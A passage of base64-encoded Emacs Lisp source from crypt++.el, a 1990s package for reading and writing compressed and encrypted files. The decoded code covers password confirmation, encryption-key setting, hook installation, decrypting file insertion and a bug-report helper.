c3NhZ2UgKGNvbmNhdCBwcm9tcHQgIltNaXNtYXRjaC4gU3RhcnQgb3Zlcl0iKSkKICAgICAgICAg ICAgICAgICAgICAgIChiZWVwKQogICAgICAgICAgICAgICAgICAgICAgKHNpdC1mb3IgMikKICAg ICAgICAgICAgICAgICAgICAgIChmaWxsYXJyYXkgaG9sZC1wYXNzd29yZCAwKSA7IGRlc3Ryb3kg ZXh0cmEgY29weSBub3cKICAgICAgICAgICAgICAgICAgICAgIChzZXRxIGhvbGQtcGFzc3dvcmQg bmlsKSkpKQoKICAgICAgICAgICAgICAgICA7OyBTdG9yZSBwYXNzd29yZCBhbmQgcmVhZCBhZ2Fp bi4KICAgICAgICAgICAgICAgICAodAogICAgICAgICAgICAgICAgICAoc2V0cSBob2xkLXBhc3N3 b3JkIChidWZmZXItc3RyaW5nKSkKICAgICAgICAgICAgICAgICAgKG1lc3NhZ2UgKGNvbmNhdCBw cm9tcHQgIltSZXR5cGUgdG8gY29uZmlybV0iKSkKICAgICAgICAgICAgICAgICAgKHNpdC1mb3Ig MikpKSkKCiAgICAgICAgICAgIDs7IFVOV0lOREZPUk1TCiAgICAgICAgICAgIDs7IENsZWFuIHVw LgogICAgICAgICAgICAoc2V0LWJ1ZmZlciBpbnB1dC1idWZmZXIpCiAgICAgICAgICAgIChzZXQt YnVmZmVyLW1vZGlmaWVkLXAgbmlsKQogICAgICAgICAgICAoYnVmZmVyLWRpc2FibGUtdW5kbyBp bnB1dC1idWZmZXIpIDsgcmVkdW5kYW50LCBidXQgd2h5IG5vdCBiZSBzYWZlLgogICAgICAgICAg ICAod2lkZW4pCiAgICAgICAgICAgIChnb3RvLWNoYXIgKHBvaW50LW1pbikpCiAgICAgICAgICAg ICh3aGlsZSAobm90IChlb2JwKSkgKGRlbGV0ZS1jaGFyIDEpIChpbnNlcnQgIioiKSkgOyBkZXN0 cm95IG5vdwogICAgICAgICAgICAoa2lsbC1idWZmZXIgaW5wdXQtYnVmZmVyKSkpKSkpKQoKKGRl ZnVuIGNyeXB0LXNldC1lbmNyeXB0aW9uLWtleSAoa2V5ICZvcHRpb25hbCBidWZmZXIpCgogICJT ZXQgdGhlIGVuY3J5cHRpb24gS0VZLCBhIHN0cmluZywgZm9yIGN1cnJlbnQgYnVmZmVyIG9yIG9w dGlvbmFsbHkgQlVGRkVSLgpJZiBidWZmZXIgaXMgaW4gZW5jcnlwdGVkIG1vZGUsIHRoZW4gaXQg aXMgYWxzbyBtYXJrZWQgYXMgbW9kaWZpZWQsIHNpbmNlIGl0Cm5lZWRzIHRvIGJlIHNhdmVkIHdp dGggdGhlIG5ldyBrZXkuIgoKICAoaW50ZXJhY3RpdmUKICAgKHByb2duCiAgICAgKGJhcmYtaWYt YnVmZmVyLXJlYWQtb25seSkKICAgICAobGlzdAogICAgICAoaWYgKGVxIGNyeXB0LWVuY3J5cHRp b24tdHlwZSAncGdwLXB1YikKCSAgImR1bW15LWtleSIKCShjcnlwdC1yZWFkLXN0cmluZy1uby1l Y2hvCgkgKGZvcm1hdCAiRW5jcnlwdGlvbiBrZXkgZm9yICVzPyBbUkVUIHRvIGlnbm9yZV06ICIg KGJ1ZmZlci1uYW1lKSkKCSBjcnlwdC1jb25maXJtLXBhc3N3b3JkKSkpKSkKCiAgOzsgRm9yIHNl Y3VyaXR5IHJlYXNvbnMgd2UgcmVtb3ZlIGAoY3J5cHQtc2V0LWVuY3J5cHRpb24ta2V5ICJwYXNz d29yZCIpJwogIDs7IGZyb20gdGhlIGBjb21tYW5kLWhpc3RvcnknIGxpc3QgaWYgY2FsbGVkIGlu dGVyYWN0aXZlbHkuCiAgKGlmIChpbnRlcmFjdGl2ZS1wKQogICAgICAoc2V0cSBjb21tYW5kLWhp c3RvcnkgKGNkciBjb21tYW5kLWhpc3RvcnkpKSkKCiAgKG9yIGJ1ZmZlciAoc2V0cSBidWZmZXIg KGN1cnJlbnQtYnVmZmVyKSkpCgogIChzYXZlLWV4Y3Vyc2lvbgogICAgKHNldC1idWZmZXIgYnVm ZmVyKQogICAgKGlmIChlcXVhbCBrZXkgY3J5cHQtYnVmZmVyLWVuY3J5cHRpb24ta2V5KQogICAg ICAgIChtZXNzYWdlICJLZXkgaXMgaWRlbnRpY2FsIHRvIG9yaWdpbmFsLCBubyBjaGFuZ2UuIikK CiAgICAgIChwcm9nbgogICAgICAgIDs7ICMjIyMgU21hc2ggY29udGVudHMgb2Ygb2xkIGNyeXB0 LWJ1ZmZlci1lbmNyeXB0aW9uLWtleSBzdHJpbmcgaGVyZT8KICAgICAgICA7OyBUaGF0IHdvdWxk bid0IGJlIG9rIGlmIHNvbWUgb3RoZXIgYnVmZmVyIGhlbGQgYSBwb2ludGVyIHRvIGl0LgogICAg ICAgIChzZXRxIGNyeXB0LWJ1ZmZlci1lbmNyeXB0aW9uLWtleSBrZXkpCgogICAgICAgIDs7IERv bid0IHRvdWNoIHRoZSBtb2RpZnkgZmxhZyB1bmxlc3Mgd2UncmUgaW4gYChjcnlwdC1lbmNyeXB0 ZWQtbW9kZSknLgogICAgICAgIChpZiBjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQKICAgICAg ICAgICAgKHNldC1idWZmZXItbW9kaWZpZWQtcCB0KSkpKSkpCgoMCjs7OzsgSW5zdGFsbCBob29r cyBhbmQgbW9kZSBpbmRpY2F0b3JzLgoKOzs7IENoZWNrIGlmIG1vZGUgaW5kaWNhdG9ycyBhcmUg bm90IGFscmVhZHkgaW5zdGFsbGVkIGFuZCB0aGVuIHByZXBlbmQgdGhlbS4KKGFuZCAobm90IChh c3NxICdjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQgbWlub3ItbW9kZS1hbGlzdCkpCiAgICAg KHNldHEgbWlub3ItbW9kZS1hbGlzdCAoYXBwZW5kIGNyeXB0LW1pbm9yLW1vZGUtYWxpc3QgbWlu b3ItbW9kZS1hbGlzdCkpKQoKOzs7IEluc3RhbGwgdGhlIGhvb2tzLgoKOzs7IElmIGFkZC1ob29r IGlzbid0IGFscmVhZHkgZGVmaW5lZCBvdmVyd3JpdGUgaXQgd2l0aCBvdXIgb3duLgo7OzsgTm90 ZSB0aGUgYGFkZC1ob29rJyBmdW5jdGlvbiBtdXN0IHRha2UgdGhlIG9wdGlvbmFsIEFQUEVORCBh cmd1bWVudC4KKGlmIChub3QgKGZib3VuZHAgJ2FkZC1ob29rKSkKICAgIDs7IE5vIGFkZC1ob29r IGZvdW5kLgogICAgOzsgVXNlIGBhZGQtaG9vaycgZnJvbSBHTlUgRW1hY3MgdjE5LgogICAgKGRl ZnVuIGFkZC1ob29rIChob29rIGZ1bmN0aW9uICZvcHRpb25hbCBhcHBlbmQpCiAgICAgICJBZGQg dG8gdGhlIHZhbHVlIG9mIEhPT0sgdGhlIGZ1bmN0aW9uIEZVTkNUSU9OLgpGVU5DVElPTiBpcyBu b3QgYWRkZWQgaWYgYWxyZWFkeSBwcmVzZW50LgpGVU5DVElPTiBpcyBhZGRlZCAoaWYgbmVjZXNz YXJ5KSBhdCB0aGUgYmVnaW5uaW5nIG9mIHRoZSBob29rIGxpc3QKdW5sZXNzIHRoZSBvcHRpb25h bCBhcmd1bWVudCBBUFBFTkQgaXMgbm9uLW5pbCwgaW4gd2hpY2ggY2FzZQpGVU5DVElPTiBpcyBh ZGRlZCBhdCB0aGUgZW5kLgoKSE9PSyBzaG91bGQgYmUgYSBzeW1ib2wsIGFuZCBGVU5DVElPTiBt YXkgYmUgYW55IHZhbGlkIGZ1bmN0aW9uLiAgSWYKSE9PSyBpcyB2b2lkLCBpdCBpcyBmaXJzdCBz ZXQgdG8gbmlsLiAgSWYgSE9PSydzIHZhbHVlIGlzIGEgc2luZ2xlCmZ1bmN0aW9uLCBpdCBpcyBj aGFuZ2VkIHRvIGEgbGlzdCBvZiBmdW5jdGlvbnMuIgogICAgICAob3IgKGJvdW5kcCBob29rKSAo c2V0IGhvb2sgbmlsKSkKICAgICAgOzsgSWYgdGhlIGhvb2sgdmFsdWUgaXMgYSBzaW5nbGUgZnVu Y3Rpb24sIHR1cm4gaXQgaW50byBhIGxpc3QuCiAgICAgIChsZXQgKChvbGQgKHN5bWJvbC12YWx1 ZSBob29rKSkpCiAgICAgICAgKGlmIChvciAobm90IChsaXN0cCBvbGQpKSAoZXEgKGNhciBvbGQp ICdsYW1iZGEpKQogICAgICAgICAgICAoc2V0IGhvb2sgKGxpc3Qgb2xkKSkpKQogICAgICAob3Ig KGlmIChjb25zcCBmdW5jdGlvbikKICAgICAgICAgICAgICA7OyBDbGV2ZXIgd2F5IHRvIHRlbGwg d2hldGhlciBhIGdpdmVuIGxhbWJkYS1leHByZXNzaW9uCiAgICAgICAgICAgICAgOzsgaXMgZXF1 YWwgdG8gYW55dGhpbmcgaW4gdGhlIGhvb2suCiAgICAgICAgICAgICAgKGxldCAoKHRhaWwgKGFz c29jIChjZHIgZnVuY3Rpb24pIChzeW1ib2wtdmFsdWUgaG9vaykpKSkKICAgICAgICAgICAgICAg IChlcXVhbCBmdW5jdGlvbiB0YWlsKSkKICAgICAgICAgICAgKG1lbXEgZnVuY3Rpb24gKHN5bWJv bC12YWx1ZSBob29rKSkpCiAgICAgICAgICAoc2V0IGhvb2sKICAgICAgICAgICAgICAgKGlmIGFw cGVuZAogICAgICAgICAgICAgICAgICAgKG5jb25jIChzeW1ib2wtdmFsdWUgaG9vaykgKGxpc3Qg ZnVuY3Rpb24pKQogICAgICAgICAgICAgICAgIChjb25zIGZ1bmN0aW9uIChzeW1ib2wtdmFsdWUg aG9vaykpKSkpKSkKCjs7OyBBdHRhY2ggb3Vyc2VsdmVzIHRvIHRoZSBmaW5kLWZpbGUtaG9va3Mg YW5kIGZpbmQtZmlsZS1ub3QtZm91bmQtaG9va3MuCihhZGQtaG9vayAnZmluZC1maWxlLWhvb2tz ICdjcnlwdC1maW5kLWZpbGUtaG9vaykKKGFkZC1ob29rICdmaW5kLWZpbGUtbm90LWZvdW5kLWhv b2tzICdjcnlwdC1maW5kLWZpbGUtaG9vaykKCjs7IFRha2UgY2FyZSB3aGVuIGFwcGVuZGluZyB0 byB3cml0ZS1maWxlLWhvb2suICBVc2VyJ3MgdmVyc2lvbiBvZiBhZGQtaG9vawo7OyBtYXkgbm90 IGhhdmUgQVBQRU5EIG9wdGlvbi4gIElmIGl0IGZhaWxzIHRoZW4gZG8gaXQgYnkgaGFuZC4gIEkg d2lzaAo7OyBldmVyeW9uZSB3b3VsZCB1cGdyYWRlIC0gbHJkIDgvMzEvOTMuCihjb25kaXRpb24t Y2FzZSBlcnIKICAgIChhZGQtaG9vayAnd3JpdGUtZmlsZS1ob29rcyAnY3J5cHQtd3JpdGUtZmls ZS1ob29rIHQpIDsgKm11c3QqIGFwcGVuZCB0aGlzCiAgKGVycm9yCiAgIDs7IERvIGl0IGJ5IGhh bmQuICBOb3QgYXMgcm9idXN0IGFzIGBhZGQtaG9vaycuCgogICA7OyBDb250cmlidXRlZCBieSBL ZW4gTGFwcmFkZSA8bGFwcmFkZUB0cmFudG9yLmhhcnJpcy1hdGQuY29tPgogICA7OyBSZWFsbHkg c2hvdWxkIHVzZSBzb21lIHNvcnQgb2YgYWRkLWhvb2sgLSAxNiBGZWIgOTMgLSBLQ0wKICAgKG9y IChhbmQgKGxpc3RwIHdyaXRlLWZpbGUtaG9va3MpIChub3QgKGVxIChjYXIgd3JpdGUtZmlsZS1o b29rcykgJ2xhbWJkYSkpKQogICAgICAgKHNldHEgd3JpdGUtZmlsZS1ob29rcyAobGlzdCB3cml0 ZS1maWxlLWhvb2tzKSkpCgogICAoY29uZAogICAgKChub3QgKG1lbXEgJ2NyeXB0LXdyaXRlLWZp bGUtaG9vayB3cml0ZS1maWxlLWhvb2tzKSkKICAgICA7OyBtYWtlIHRoaXMgaG9vayBsYXN0IG9u IHB1cnBvc2UKICAgICAoc2V0cSB3cml0ZS1maWxlLWhvb2tzIChhcHBlbmQgd3JpdGUtZmlsZS1o b29rcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAobGlzdCAnY3J5cHQtd3Jp dGUtZmlsZS1ob29rKSkpKSkpKQoKOzsgSW4gb3JkZXIgdGhhdCB0aGUgdGFibGVzIGFuZCBrZXkt YmluZGluZyBjb3JyZWN0bHkgcmVmbGVjdCB1c2VyJ3MKOzsgcHJlZmVyZW5jZXMgd2UgYWRkIG91 cnNlbHZlcyB0byB0aGUgYGFmdGVyLWluaXQtaG9vaycgR05VIEVtYWNzIHYxOSBhbmQKOzsgTHVj aWQgRW1hY3MgdiAxOS44IChvciBsYXRlcikgb3IgYHRlcm0tc2V0dXAtaG9vaycgaW4gTHVjaWQg RW1hY3MgdiAxOS43Cjs7IChvciBlYXJsaWVyKS4gIFRoZXNlIGFyZSBydW4gKmFmdGVyKiB+Ly5l bWFjcyBhbmQgLi4vbGlzcC9kZWZhdWx0LmVsIGFyZQo7OyBsb2FkZWQuICBVbmZvcnR1bmF0ZWx5 LCB2MTggZG9lcyBub3QgaGF2ZSBgYWZ0ZXItaW5pdC1ob29rJyBhbmQKOzsgYHRlcm0tc2V0dXAt aG9vaycgaXMganVzdCBhIHNpbmdsZSBmdW5jdGlvbi4gIEl0IGlzIGEgYml0IG9mIGEgcGFpbiB0 cnlpbmcKOzsgdG8gd29yayBvdXIgZnVuY3Rpb25zIGluIHByb3Blcmx5IHdpdGhvdXQgb3Zlcndy aXRpbmcgdGhlIHVzZXIncyB2YWx1ZS4KOzsgVGhlcmVmb3JlLCB3ZSBkbyBub3RoaW5nIGFuZCBo b3BlIHRoZXkgdXBncmFkZSB0byB2MTkgc29vbi4KCihjb25kICgoYm91bmRwICdhZnRlci1pbml0 LWhvb2spCiAgICAgICA7OyBNdXN0IGJlIHJ1bm5pbmcgR05VIEVtYWNzIHYxOSA6LT4KICAgICAg IChhZGQtaG9vayAnYWZ0ZXItaW5pdC1ob29rICdjcnlwdC1yZWJ1aWxkLXRhYmxlcykKICAgICAg IChhZGQtaG9vayAnYWZ0ZXItaW5pdC1ob29rICdjcnlwdC1yZWJ1aWxkLW1pbm9yLW1vZGVzLWFs aXN0KQogICAgICAgKGFkZC1ob29rICdhZnRlci1pbml0LWhvb2sgJ2NyeXB0LWJpbmQtaW5zZXJ0 LWZpbGUpKQoKICAgICAgKChhbmQgKHN0cmluZy1tYXRjaCAiXjE5IiBlbWFjcy12ZXJzaW9uKSB0 KQogICAgICAgOzsgUHJvYmFibHkgcnVubmluZyBMdWNpZCBFbWFjcyB2MTkuNyAob3IgZWFybGll cikgc2luY2UgaXQsCiAgICAgICA7OyB1bmZvcnR1bmF0ZWx5LCBkb2VzIG5vdCBoYXZlIGBhZnRl ci1pbml0LWhvb2snLiAgVXNlCiAgICAgICA7OyBgdGVybS1zZXR1cC1ob29rJyBpbnN0ZWFkIGFu ZCBob3BlIHRoZXkgdXBncmFkZSB0byBMdWNpZCAxOS44IG9yIEdOVQogICAgICAgOzsgRW1hY3Mg MTkuCiAgICAgICAoYWRkLWhvb2sgJ3Rlcm0tc2V0dXAtaG9vayAnY3J5cHQtcmVidWlsZC10YWJs ZXMpCiAgICAgICAoYWRkLWhvb2sgJ3Rlcm0tc2V0dXAtaG9vayAnY3J5cHQtcmVidWlsZC1taW5v ci1tb2Rlcy1hbGlzdCkKICAgICAgIChhZGQtaG9vayAndGVybS1zZXR1cC1ob29rICdjcnlwdC1i aW5kLWluc2VydC1maWxlKSkpCgoMCjs7OyBDb2RlIGZvciBjb25kaXRpb25hbGx5IGRlY29kaW5n L2RlY3J5cHRpbmcgYW4gaW5zZXJ0ZWQgZmlsZQoKKGRlZnZhciBjcnlwdC1iaW5kLWluc2VydC1m aWxlIHQKICAiKnQgdmFsdWUgbWVhbnMgYmluZCBgY3J5cHQtaW5zZXJ0LWZpbGUnIG92ZXIgYGlu c2VydC1maWxlJy4KSWYgeW91IHdpc2ggdG8gY2hhbmdlIHRoaXMgdmFyaWFibGUgYWZ0ZXIgY3J5 cHQrKyBoYXMgYmVlbiBsb2FkZWQgdGhlbiBkbwpcXFtjcnlwdC1iaW5kLWluc2VydC1maWxlXS4i KQoKKGRlZnZhciBjcnlwdC1hdXRvLWRlY29kZS1pbnNlcnQgbmlsCiAgIip0IHNheXMgZGVjb2Rl L2RlY3J5cHQgZmlsZXMgdGhhdCBhcmUgaW5zZXJ0ZWQgd2l0aCBgY3J5cHQtaW5zZXJ0LWZpbGUn LgpuaWwgc2F5cyB0byBhc2sgYmVmb3JlIGRvaW5nIHRoaXMuIikKCjs7OyBCaW5kIGBjcnlwdC1p bnNlcnQtZmlsZScgb3ZlciB3aGVyZXZlciBgaW5zZXJ0LWZpbGUnIGlzIGJvdW5kPwooZGVmdW4g Y3J5cHQtYmluZC1pbnNlcnQtZmlsZSAoKQogICJCaW5kIGBjcnlwdC1pbnNlcnQtZmlsZScgaW4g cGxhY2Ugb2YgYGluc2VydC1maWxlJyBvciByZXZlcnNlIGJhc2VkIG9uCmBjcnlwdC1iaW5kLWlu c2VydC1maWxlJy4gIFBhcnQgb2YgYGFmdGVyLWluaXQtaG9vaycuIgoKICAoaW50ZXJhY3RpdmUp CgogIChpZiAoaW50ZXJhY3RpdmUtcCkKICAgICAgKHNldHEgY3J5cHQtYmluZC1pbnNlcnQtZmls ZQogICAgICAgICAgICAoeS1vci1uLXAgIkJpbmQgY3J5cHQtaW5zZXJ0LWZpbGUgb3ZlciBpbnNl cnQtZmlsZT8gIikpKQoKICAoaWYgY3J5cHQtYmluZC1pbnNlcnQtZmlsZQogICAgICAoc3Vic3Rp dHV0ZS1rZXktZGVmaW5pdGlvbgogICAgICAgJ2luc2VydC1maWxlICdjcnlwdC1pbnNlcnQtZmls ZSAoY3VycmVudC1nbG9iYWwtbWFwKSkKICAgIChzdWJzdGl0dXRlLWtleS1kZWZpbml0aW9uCiAg ICAgJ2NyeXB0LWluc2VydC1maWxlICdpbnNlcnQtZmlsZSAoY3VycmVudC1nbG9iYWwtbWFwKSkp KQoKOzs7IE5vdyBjYWxsIGl0LgooY3J5cHQtYmluZC1pbnNlcnQtZmlsZSkKCjs7OyBjcnlwdCsr IHJlcGxhY2VtZW50IGZvciBgaW5zZXJ0LWZpbGUnCihkZWZ1biBjcnlwdC1pbnNlcnQtZmlsZSAo ZmlsZW5hbWUpCiAgIkluc2VydCBkZWNvZGVkL2RlY3J5cHRlZCBjb250ZW50cyBvZiBmaWxlIEZJ TEVOQU1FIGludG8gYnVmZmVyIGFmdGVyIHBvaW50LgpTZXQgbWFyayBhZnRlciB0aGUgaW5zZXJ0 ZWQgdGV4dC4KClRoaXMgZnVuY3Rpb24gaXMgbWVhbnQgZm9yIHRoZSB1c2VyIHRvIHJ1biBpbnRl cmFjdGl2ZWx5LgpEb24ndCBjYWxsIGl0IGZyb20gcHJvZ3JhbXMhICBVc2UgYGluc2VydC1maWxl LWNvbnRlbnRzJyBpbnN0ZWFkLgpcKEl0cyBjYWxsaW5nIHNlcXVlbmNlIGlzIGRpZmZlcmVudDsg c2VlIGl0cyBkb2N1bWVudGF0aW9uXCkuCgpUaGlzIHZlcnNpb24gd2lsbCBhdHRlbXB0IHRvIGRl Y3J5cHQgYW5kL29yIGRlY29kZSBmaWxlIGJlZm9yZSBpbnNlcnRpbmcuCnNlZSB2YXJpYWJsZSBg Y3J5cHQtYXV0by1kZWNvZGUtaW5zZXJ0Jy4iCiAgKGludGVyYWN0aXZlICJmSW5zZXJ0IGZpbGU6 ICIpCiAgKGlmIChmaWxlLWRpcmVjdG9yeS1wIGZpbGVuYW1lKQogICAgICAoc2lnbmFsICdmaWxl LWVycm9yIChsaXN0ICJPcGVuaW5nIGlucHV0IGZpbGUiICJmaWxlIGlzIGEgZGlyZWN0b3J5Igog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lKSkpCiAgKGxldCAoKHRlbSAo Y3J5cHQtaW5zZXJ0LWZpbGUtY29udGVudHMgZmlsZW5hbWUpKSkgOyB1c2UgY3J5cHQrKyB0byBp bnNlcnQKICAgIChwdXNoLW1hcmsgKCsgKHBvaW50KSAoY2FyIChjZHIgdGVtKSkpKSkpCgo7OyBT aW1pbGFyIHRvIGBpbnNlcnQtZmlsZS1jb250ZW50cycgZXhjZXB0IGRlY29kaW5nL2RlY3J5cHRp bmcgb2YgRklMRQo7OyBhdHRlbXB0ZWQuICBTZWUgYGNyeXB0LWluc2VydC1maWxlJyBhbmQgYGNy eXB0LWF1dG8tZGVjb2RlLWluc2VydCcKOzsgCihkZWZ1biBjcnlwdC1pbnNlcnQtZmlsZS1jb250 ZW50cyAoZmlsZSkKICAobGV0ICh0ZW1wLWJ1ZmZlcgogICAgICAgIHRlbXAtbGlzdAogICAgICAg IChjcnlwdC1hdXRvLWRlY29kZS1idWZmZXIgY3J5cHQtYXV0by1kZWNvZGUtaW5zZXJ0KQogICAg ICAgIChvcmlnLWJ1ZmZlciAoY3VycmVudC1idWZmZXIpKSkKCiAgICA7OyBDcmVhdGUgYSB0ZW1w b3JhcnkgYnVmZmVyIGFuZCBkZWNvZGUgYW5kIGRlY3J5cHQgaXQuCiAgICAoc2F2ZS1leGN1cnNp b24KCiAgICAgIDs7IFRlbXBvcmFyeSBidWZmZXIsIHVzZSB0aGUgc2FtZSBuYW1lIGFzIHRoZSBm aWxlIHRvIGJlIGluc2VydGVkLgogICAgICAoc2V0cSB0ZW1wLWJ1ZmZlciAoZ2VuZXJhdGUtbmV3 LWJ1ZmZlciAoZmlsZS1uYW1lLW5vbmRpcmVjdG9yeSBmaWxlKSkpCiAgICAgIChzZXQtYnVmZmVy IHRlbXAtYnVmZmVyKQoKICAgICAgOzsgT3JpZ2luYWwgaW5zZXJ0LWZpbGUtY29udGVudHMgLSBz YXZlIGxpc3QuCiAgICAgIChzZXRxIHRlbXAtbGlzdCAoaW5zZXJ0LWZpbGUtY29udGVudHMgZmls ZSBuaWwpKQoKICAgICAgOzsgTWFrZSB0ZW1wLWJ1ZmZlciB1bm1vZGlmaWVkLgogICAgICAoc2V0 LWJ1ZmZlci1tb2RpZmllZC1wIG5pbCkKCiAgICAgIDs7IE5lZWQgdG8gc2V0IGJ1ZmZlciBuYW1l IHRvIGZpbGUgbmFtZSBmb3IgY3J5cHQrKy4KICAgICAgKHNldHEgYnVmZmVyLWZpbGUtbmFtZSBm aWxlKQoKICAgICAgOzsgRGVjb2RlIGFuZCBkZWNyeXB0LCBpZiBuZWNlc3NhcnkuCiAgICAgIChj cnlwdC1maW5kLWZpbGUtaG9vaykKCiAgICAgIDs7IEZpbmQgdGhlIGxlbmd0aCBvZiB0aGUgZmls ZSB0byBiZSBpbnNlcnRlZC4gYGluc2VydC1maWxlLWNvbnRlbnRzJwogICAgICA7OyByZXR1cm5z IGl0IGZvciB0aGUgb3JpZ2luYWwgZW5jb2RlZC9lbmNyeXB0ZWQgZmlsZS4KICAgICAgKHNldGNk ciB0ZW1wLWxpc3QgKGNvbnMgKGJ1ZmZlci1zaXplKSAoKSkpCgogICAgICA7OyBOb3cgaW5zZXJ0 IHRlbXAtYnVmZmVyIGludG8gb3JpZ2luYWwgYnVmZmVyLgogICAgICAoc2V0LWJ1ZmZlciBvcmln LWJ1ZmZlcikKICAgICAgKGluc2VydC1idWZmZXIgdGVtcC1idWZmZXIpCgogICAgICA7OyBLaWxs IHRoZSB0ZW1wb3JhcnkgYnVmZmVyLgogICAgICAoa2lsbC1idWZmZXIgdGVtcC1idWZmZXIpKQoK ICAgIDs7IFJldHVybiBtb2RpZmllZCBsaXN0IGZyb20gYGluc2VydC1maWxlLWNvbnRlbnRzJy4K ICAgIHRlbXAtbGlzdCkpCgoMCjs7OzsgQlVHIFJFUE9SVFMKCjs7OyBUaGlzIHNlY3Rpb24gaXMg cHJvdmlkZWQgZm9yIHJlcG9ydHMuCjs7OyBVc2luZyBCYXJyeSBBLiBXYXJzYXcncyByZXBvcnRl ci5lbAoKKGRlZmNvbnN0IGNyeXB0LXZlcnNpb24gIjIuOTIiCiAgIlJldmlzaW9uIG51bWJlciBv ZiBjcnlwdCsrLmVsIC0tIGhhbmRsZXMgY29tcHJlc3NlZCBhbmQgZW5jcnlwdGVkIGZpbGVzLgpU eXBlIFxcW2NyeXB0LXN1Ym1pdC1yZXBvcnRdIHRvIHNlbmQgYSBidWcgcmVwb3J0LgpBdmFpbGFi bGUgYXQ6IGh0dHA6Ly93d3cuY3MudW1iLmVkdS9+a2FybC9jcnlwdCsrLyIpCgooZGVmY29uc3Qg Y3J5cHQtaGVscC1hZGRyZXNzCiAgImtiQGNzLnVtYi5lZHUiCiAgIkFkZHJlc3MoZXMpIGFjY2Vw dGluZyBzdWJtaXNzaW9uIG9mIHJlcG9ydHMgb24gY3J5cHQrKy5lbC4iKQoKKGRlZmNvbnN0IGNy eXB0LW1haW50YWluZXIgIkthcmwiCiAgIkZpcnN0IG5hbWUocykgb2YgcGVvcGxlIGFjY2VwdGlu ZyBzdWJtaXNzaW9uIG9mIHJlcG9ydHMgb24gY3J5cHQrKy5lbC4iKQoKKGRlZmNvbnN0IGNyeXB0 LWZpbGUgImNyeXB0KysuZWwiCiAgIk5hbWUgb2YgZmlsZSBjb250YWluaW5nIGVtYWNzIGxpc3Ag Y29kZS4iKQoKKGRlZmNvbnN0IGNyeXB0LXZhcmlhYmxlLWxpc3QKICAobGlzdCAnc2hlbGwtZmls ZS1uYW1lIDsgVGhlc2UKICAgICAgICAnbG9hZC1wYXRoICAgICAgIDsgYXJlCiAgICAgICAgJ2V4 ZWMtcGF0aCAgICAgICA7IHVzZWZ1bC4KICAgICAgICAnY3J5cHQtZW5jcnlwdGlvbi10eXBlCiAg ICAgICAgJ2NyeXB0LWVuY3J5cHRpb24tZmlsZS1leHRlbnNpb24KICAgICAgICAnY3J5cHQtbmV2 ZXItZXZlci1kZWNyeXB0CiAgICAgICAgJ2NyeXB0LWF1dG8td3JpdGUtYnVmZmVyLWVuY3J5cHRl ZAogICAgICAgICdjcnlwdC1jb25maXJtLXBhc3N3b3JkCiAgICAgICAgJ2NyeXB0LWVuY3J5cHRl ZC1kaXNhYmxlLWF1dG8tc2F2ZQogICAgICAgICdjcnlwdC1hdXRvLWRlY29kZS1idWZmZXIKICAg ICAgICAnY3J5cHQtYXV0by13cml0ZS1idWZmZXIKICAgICAgICAnY3J5cHQtcXVlcnktaWYtaW50 ZXJhY3RpdmUKICAgICAgICAnY3J5cHQtbm8tZXh0ZW5zaW9uLWltcGxpZXMtcGxhaW4KICAgICAg ICAnY3J5cHQtZnJlZXplLXZzLWZvcnRyYW4KICAgICAgICAnY3J5cHQtY29tcGFjdC12cy1DKysK ICAgICAgICAnY3J5cHQtaWdub3JlZC1maWxlbmFtZXMKICAgICAgICAnY3J5cHQtZGVmYXVsdC1l bmNvZGluZwogICAgICAgICdjcnlwdC1lbmNvZGVkLWRpc2FibGUtYXV0by1zYXZlCiAgICAgICAg J2NyeXB0LWJpbmQtaW5zZXJ0LWZpbGUKICAgICAgICAnY3J5cHQtYXV0by1kZWNvZGUtaW5zZXJ0 CiAgICAgICAgJ2NyeXB0LWVuY29kaW5nLWFsaXN0CiAgICAgICAgJ2NyeXB0LWVuY3J5cHRpb24t YWxpc3QKICAgICAgICApCiAgIkxpc3Qgb2YgdmFyaWFibGVzIHRvIGJlIGFwcGVuZGVkIHRvIHJl cG9ydHMgc2VudCBieSBgY3J5cHQtc3VibWl0LXJlcG9ydC4nIikKCihkZWZ1biBjcnlwdC1zdWJt aXQtcmVwb3J0ICgpCiAgIlN1Ym1pdCB2aWEgcmVwb3J0ZXIuZWwgYSBidWcgcmVwb3J0IG9uIHBy b2dyYW0uICBTZW5kIHJlcG9ydCBvbiBgY3J5cHQtZmlsZScKdmVyc2lvbiBgY3J5cHQtdmVyc2lv biwnIHRvIGBjcnlwdC1tYWludGFpbmVyJyBhdCBhZGRyZXNzIGBjcnlwdC1oZWxwLWFkZHJlc3Mn Cmxpc3RpbmcgdmFyaWFibGVzIGBjcnlwdC12YXJpYWJsZS1saXN0JyBpbiB0aGUgbWVzc2FnZS4i CiAgKGludGVyYWN0aXZlKQoKICA7OyBJbiBjYXNlIHdlIGNhbid0IGZpbmQgcmVwb3J0ZXIuLi4K ICAoY29uZGl0aW9uLWNhc2UgZXJyCiAgICAgIChwcm9nbgogICAgICAgIDs7IEdldCBpdCBpZiB3 ZSBjYW4uCiAgICAgICAgKHJlcXVpcmUgJ3JlcG9ydGVyKQoKICAgICAgICAocmVwb3J0ZXItc3Vi bWl0LWJ1Zy1yZXBvcnQKICAgICAgICAgY3J5cHQtaGVscC1hZGRyZXNzICAgICAgICAgICAgICAg ICAgICAgOyBhZGRyZXNzCiAgICAgICAgIChjb25jYXQgY3J5cHQtZmlsZSAiICIgY3J5cHQtdmVy c2lvbikgIDsgcGtnbmFtZQogICAgICAgICBjcnlwdC12YXJpYWJsZS1saXN0ICAgICAgICAgICAg ICAgICAgICA7IHZhcmxpc3QKICAgICAgICAgbmlsIG5pbCAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgOyBwcmUtaG9va3MgYW5kIHBvc3QtaG9va3MKICAgICAgICAgKGNvbmNhdCAiWW8h ICIgY3J5cHQtbWFpbnRhaW5lciAiLCIpKSkgOyBzYWx1dGF0aW9uCgogICAgOzsgLi4uZmFpbCBn cmFjZWZ1bGx5LgogICAgKGVycm9yCiAgICAgKGJlZXApCgogICAgIDs7IERvIHRoZXkgaGF2ZSBh bmdlLWZ0cD8KICAgICAoaWYgKGFuZCAoZmVhdHVyZXAgJ2FuZ2UtZnRwKQogICAgICAgICAgICAg 